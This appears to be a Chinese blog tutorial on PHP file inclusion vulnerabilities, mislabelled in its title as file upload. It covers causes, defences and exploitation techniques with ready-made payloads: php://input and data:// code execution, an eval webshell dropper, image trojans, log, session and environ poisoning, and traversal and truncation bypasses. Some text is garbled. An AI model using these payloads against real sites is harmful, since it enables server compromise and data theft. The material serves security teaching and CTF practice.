文件上传漏洞

一.原理

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

动态包含

在使用文件包含的时候,为了更灵活的包含文件,将文件包含的名字处设置为变量,而这个变量是通过GET方式来获取的值,这样既可通过前端所输入的文件名进行包含对应的文件。

二.漏洞产生原因

程序没有对文件的来源进行严格的审查,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,也就是程序员在编写代码的时候触犯的逻辑性的错误,就可能会导致文件读取漏洞和其它类型的漏洞
PHP中文件包含函数有以下四种
include()
require()
include_once()
require()_once()

include与require基本是相同的,除了错误处理方面:
include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本

include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上
require() # require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() # 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
include() # 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含 进来,发生错误时之给出一个警告,继续向下执行。
include_once() # 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
包含函数
PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile() 当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。

三.危害

1.配合文件上传漏洞 GetShell
2.可以执行任意脚本代码(php://input)(即时没有文件上传也能执行脚本代码)
3.网站源码文件及配置文件泄露(PHP://filter/read=convert.base64-encode/resource=Test.php)(即时没有文件上传也能读取)
4.远程包含GetShell
5.控制整个网站甚至是服务器

四.防御措施

1.PHP 中使用open_basedir 配置限制访问在指定的区域。
(1)allow_url_include和allow_url_fopen最小权限化**
(2)设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
2.过滤 . / \ …/…/…/
(1) 利用 str_replace() 函数。
(2)利用 preg_replace() 函数。
3.过滤伪协议
4.禁止服务器远程文件包含。
5.包含的参数值,不要用户可控。
6.设置白名单

五.PHP协议

在这里插入图片描述
主要用php://filter, php://input, zip://

1.file://

PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
在这里插入图片描述
file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

2.php://

条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
在这里插入图片描述

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

在这里插入图片描述
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
在这里插入图片描述

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>
也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

3.zip://, bzip2://, zlib://

PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
在这里插入图片描述

(1).zip://

使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

(2).bzip2://

使用方法:
compress.bzip2://file.bz2
测试:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

(3).zlib://

使用方法:
compress.zlib://file.gz
测试:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

4.data://

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
在这里插入图片描述
测试:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

六.## 包含APACHE日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
  在这里插入图片描述

Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
  如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。

七.包含SESSION

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径
    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:
  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
  • 包含/PROC/SELF/ENVIRON

八.包含/PROC/SELF/ENVIRON

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

九.包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

十.包含上传文件

很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:

进入1.jpg和2.php的文件目录后,执行:

copy 1.jpg/b+2.php 3.jpg
将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

十一.文件包含漏洞的绕过方法

指定前缀绕过

### 一、目录遍历

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
测试代码如下:

<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

 include.php?file=../../log/flag.txt

则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码

…/
%2e%2e%2f
…%2f
%2e%2e/

%2e%2e%5c
…%5c
%2e%2e\

2.二次编码

…/
%252e%252e%252f

-%252e%252e%255c

3.容器/服务器的编码方式

…/
-…%c0%af
- 注:Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal

…%c1%9c

十二.指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

一、利用URL

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
可参考此文章:URI’s fragment
完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment
11

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt
    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    fragment(#)
  • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt
    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述

二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
-[访问参数] ?file=zip://D:\zip.jpg%23phpinfo
-[拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt
phar://
[访问参数] ?file=phar://zip.zip/phpinfo
-[拼接后]  ?file=phar://zip.zip/phpinfo.txt
Example:
(我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
所以分别构造payload为:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
?file=phar://../../php.zip/phpinfo

三、长度截断

利用条件:
php版本 < php 5.2.8
原理:
-Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:

  • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
      ?file=./././。。。省略。。。././shell.php
    11
    

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

四、%00截断

利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名

  ?file=shell.php%00

注:现在用到%00阶段的情况已经不多了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

朵拉不会敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值